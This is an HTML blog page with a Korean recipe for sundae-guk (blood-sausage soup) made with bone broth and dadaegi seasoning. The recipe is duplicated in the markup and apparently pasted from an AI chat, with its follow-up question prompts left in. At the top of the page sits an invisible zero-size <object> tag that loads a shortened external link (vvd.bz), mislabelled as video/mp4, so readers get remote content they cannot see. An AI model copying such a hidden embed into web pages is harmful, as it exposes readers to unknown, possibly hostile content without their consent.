<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">순대국 맛있게 끓이는 방법: 다대기와 사골국물 활용 레시피</h2><p data-sourcepos="3:1-3:146"><strong>순대국</strong>은 한국인이 사랑하는 대표적인 국밥 중 하나입니다. 진한 사골 국물에 다양한 부속 고기와 순대를 넣어 끓여 먹는 음식이죠. 집에서도 간단하게 맛있는 순대국을 만들 수 있는데요, 다대기와 사골국물을 활용하면 더욱 풍미 깊은 순대국을 즐길 수 있습니다.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:22"><strong>고기:</strong> 머릿고기, 잡뼈, 순대</li>
<li data-sourcepos="8:1-8:22"><strong>양념:</strong> 다대기, 새우젓, 후추</li>
<li data-sourcepos="9:1-10:0"><strong>기타:</strong> 대파, 청양고추, 들깨가루, 다진 마늘</li>
</ul><h3 data-sourcepos="11:1-11:9">만드는 법</h3><ol data-sourcepos="13:1-34:0">
<li data-sourcepos="13:1-17:0">
<p data-sourcepos="13:4-13:16"><strong>사골 육수 준비:</strong></p>
<ul data-sourcepos="14:4-17:0">
<li data-sourcepos="14:4-14:34">잡뼈를 깨끗하게 씻어 찬물에 담가 핏물을 제거합니다.</li>
<li data-sourcepos="15:4-15:63">냄비에 잡뼈를 넣고 충분한 물을 부어 센 불에서 끓이다가 끓어오르면 불을 줄이고 2시간 이상 우려냅니다.</li>
<li data-sourcepos="16:4-17:0">끓는 동안 떠오르는 거품을 제거해 맑은 육수를 만들어줍니다.</li>
</ul>
</li>
<li data-sourcepos="18:1-21:0">
<p data-sourcepos="18:4-18:14"><strong>고기 데치기:</strong></p>
<ul data-sourcepos="19:4-21:0">
<li data-sourcepos="19:4-19:45">머릿고기를 먹기 좋은 크기로 자른 후 끓는 물에 데쳐 잡내를 제거합니다.</li>
<li data-sourcepos="20:4-21:0">데친 고기는 찬물에 헹궈 기름기를 제거합니다.</li>
</ul>
</li>
<li data-sourcepos="22:1-24:0">
<p data-sourcepos="22:4-22:13"><strong>순대 준비:</strong></p>
<ul data-sourcepos="23:4-24:0">
<li data-sourcepos="23:4-24:0">시판 순대를 먹기 좋은 크기로 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="25:1-30:0">
<p data-sourcepos="25:4-25:13"><strong>국 끓이기:</strong></p>
<ul data-sourcepos="26:4-30:0">
<li data-sourcepos="26:4-26:35">냄비에 사골 육수를 붓고 데친 고기, 순대를 넣습니다.</li>
<li data-sourcepos="27:4-27:29">다진 마늘, 후추를 넣고 한소끔 끓여줍니다.</li>
<li data-sourcepos="28:4-28:35">기호에 따라 청양고추를 넣어 얼큰하게 끓여도 좋습니다.</li>
<li data-sourcepos="29:4-30:0">국물 간은 새우젓으로 맞춰줍니다.</li>
</ul>
</li>
<li data-sourcepos="31:1-34:0">
<p data-sourcepos="31:4-31:11"><strong>마무리:</strong></p>
<ul data-sourcepos="32:4-34:0">
<li data-sourcepos="32:4-32:25">끓는 국에 다대기를 넣어 풀어줍니다.</li>
<li data-sourcepos="33:4-34:0">대파를 송송 썰어 넣고 들깨가루를 뿌려 마무리합니다.</li>
</ul>
</li>
</ol><h3 data-sourcepos="35:1-35:13">맛있게 즐기는 팁</h3><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:77"><strong>다대기:</strong> 시판 다대기를 사용하거나 직접 만들어 사용할 수 있습니다. 직접 만들 때는 고춧가루, 된장, 마늘 등을 섞어 만듭니다.</li>
<li data-sourcepos="38:1-38:33"><strong>사골:</strong> 사골 대신 돼지 뼈를 사용해도 맛있습니다.</li>
<li data-sourcepos="39:1-39:54"><strong>순대:</strong> 돼지 순대 외에도 소간, 암뽕 등 다양한 종류의 순대를 넣어 즐길 수 있습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>기호에 따라:</strong> 숙주나 팽이버섯 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="42:1-42:36"><strong>따뜻한 순대국 한 그릇으로 추운 겨울을 따뜻하게 보내세요!</strong></p><p data-sourcepos="44:1-44:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="46:1-49:0">
<li data-sourcepos="46:1-46:24"><strong>더 자세한 레시피가 필요하신가요?</strong></li>
<li data-sourcepos="47:1-47:27"><strong>다양한 순대국 맛집을 소개해 드릴까요?</strong></li>
<li data-sourcepos="48:1-49:0"><strong>순대국과 잘 어울리는 밑반찬에 대해 알고 싶으신가요?</strong></li>
</ul><p data-sourcepos="50:1-50:28"><strong>순대국 레시피 사골국물 다대기 요리</strong></p><hr data-sourcepos="52:1-52:3"><p data-sourcepos="53:1-54:29"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요.
예를 들어, 다음과 같은 질문을 할 수 있습니다.</strong></p><ul data-sourcepos="56:1-59:0">
<li data-sourcepos="56:1-56:32">"순대국에 넣으면 맛있는 부속 고기는 무엇이 있나요?"</li>
<li data-sourcepos="57:1-57:31">"다대기를 직접 만들 때 어떤 재료들이 필요한가요?"</li>
<li data-sourcepos="58:1-59:0">"순대국에 곁들여 먹으면 좋은 반찬은 무엇이 있나요?"</li>
</ul><p data-sourcepos="60:1-60:20"><strong>친절하게 답변해 드리겠습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">순대국 맛있게 끓이는 방법: 다대기와 사골국물 활용 레시피</h2><p data-sourcepos="3:1-3:146"><strong>순대국</strong>은 한국인이 사랑하는 대표적인 국밥 중 하나입니다. 진한 사골 국물에 다양한 부속 고기와 순대를 넣어 끓여 먹는 음식이죠. 집에서도 간단하게 맛있는 순대국을 만들 수 있는데요, 다대기와 사골국물을 활용하면 더욱 풍미 깊은 순대국을 즐길 수 있습니다.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:22"><strong>고기:</strong> 머릿고기, 잡뼈, 순대</li>
<li data-sourcepos="8:1-8:22"><strong>양념:</strong> 다대기, 새우젓, 후추</li>
<li data-sourcepos="9:1-10:0"><strong>기타:</strong> 대파, 청양고추, 들깨가루, 다진 마늘</li>
</ul><h3 data-sourcepos="11:1-11:9">만드는 법</h3><ol data-sourcepos="13:1-34:0">
<li data-sourcepos="13:1-17:0">
<p data-sourcepos="13:4-13:16"><strong>사골 육수 준비:</strong></p>
<ul data-sourcepos="14:4-17:0">
<li data-sourcepos="14:4-14:34">잡뼈를 깨끗하게 씻어 찬물에 담가 핏물을 제거합니다.</li>
<li data-sourcepos="15:4-15:63">냄비에 잡뼈를 넣고 충분한 물을 부어 센 불에서 끓이다가 끓어오르면 불을 줄이고 2시간 이상 우려냅니다.</li>
<li data-sourcepos="16:4-17:0">끓는 동안 떠오르는 거품을 제거해 맑은 육수를 만들어줍니다.</li>
</ul>
</li>
<li data-sourcepos="18:1-21:0">
<p data-sourcepos="18:4-18:14"><strong>고기 데치기:</strong></p>
<ul data-sourcepos="19:4-21:0">
<li data-sourcepos="19:4-19:45">머릿고기를 먹기 좋은 크기로 자른 후 끓는 물에 데쳐 잡내를 제거합니다.</li>
<li data-sourcepos="20:4-21:0">데친 고기는 찬물에 헹궈 기름기를 제거합니다.</li>
</ul>
</li>
<li data-sourcepos="22:1-24:0">
<p data-sourcepos="22:4-22:13"><strong>순대 준비:</strong></p>
<ul data-sourcepos="23:4-24:0">
<li data-sourcepos="23:4-24:0">시판 순대를 먹기 좋은 크기로 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="25:1-30:0">
<p data-sourcepos="25:4-25:13"><strong>국 끓이기:</strong></p>
<ul data-sourcepos="26:4-30:0">
<li data-sourcepos="26:4-26:35">냄비에 사골 육수를 붓고 데친 고기, 순대를 넣습니다.</li>
<li data-sourcepos="27:4-27:29">다진 마늘, 후추를 넣고 한소끔 끓여줍니다.</li>
<li data-sourcepos="28:4-28:35">기호에 따라 청양고추를 넣어 얼큰하게 끓여도 좋습니다.</li>
<li data-sourcepos="29:4-30:0">국물 간은 새우젓으로 맞춰줍니다.</li>
</ul>
</li>
<li data-sourcepos="31:1-34:0">
<p data-sourcepos="31:4-31:11"><strong>마무리:</strong></p>
<ul data-sourcepos="32:4-34:0">
<li data-sourcepos="32:4-32:25">끓는 국에 다대기를 넣어 풀어줍니다.</li>
<li data-sourcepos="33:4-34:0">대파를 송송 썰어 넣고 들깨가루를 뿌려 마무리합니다.</li>
</ul>
</li>
</ol><h3 data-sourcepos="35:1-35:13">맛있게 즐기는 팁</h3><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:77"><strong>다대기:</strong> 시판 다대기를 사용하거나 직접 만들어 사용할 수 있습니다. 직접 만들 때는 고춧가루, 된장, 마늘 등을 섞어 만듭니다.</li>
<li data-sourcepos="38:1-38:33"><strong>사골:</strong> 사골 대신 돼지 뼈를 사용해도 맛있습니다.</li>
<li data-sourcepos="39:1-39:54"><strong>순대:</strong> 돼지 순대 외에도 소간, 암뽕 등 다양한 종류의 순대를 넣어 즐길 수 있습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>기호에 따라:</strong> 숙주나 팽이버섯 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="42:1-42:36"><strong>따뜻한 순대국 한 그릇으로 추운 겨울을 따뜻하게 보내세요!</strong></p><p data-sourcepos="44:1-44:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="46:1-49:0">
<li data-sourcepos="46:1-46:24"><strong>더 자세한 레시피가 필요하신가요?</strong></li>
<li data-sourcepos="47:1-47:27"><strong>다양한 순대국 맛집을 소개해 드릴까요?</strong></li>
<li data-sourcepos="48:1-49:0"><strong>순대국과 잘 어울리는 밑반찬에 대해 알고 싶으신가요?</strong></li>
</ul><p data-sourcepos="50:1-50:28"><strong>순대국 레시피 사골국물 다대기 요리</strong></p><hr data-sourcepos="52:1-52:3"><p data-sourcepos="53:1-54:29"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요.
예를 들어, 다음과 같은 질문을 할 수 있습니다.</strong></p><ul data-sourcepos="56:1-59:0">
<li data-sourcepos="56:1-56:32">"순대국에 넣으면 맛있는 부속 고기는 무엇이 있나요?"</li>
<li data-sourcepos="57:1-57:31">"다대기를 직접 만들 때 어떤 재료들이 필요한가요?"</li>
<li data-sourcepos="58:1-59:0">"순대국에 곁들여 먹으면 좋은 반찬은 무엇이 있나요?"</li>
</ul><p data-sourcepos="60:1-60:20"><strong>친절하게 답변해 드리겠습니다.</strong></p></div>
</div></div>
<!-- -->
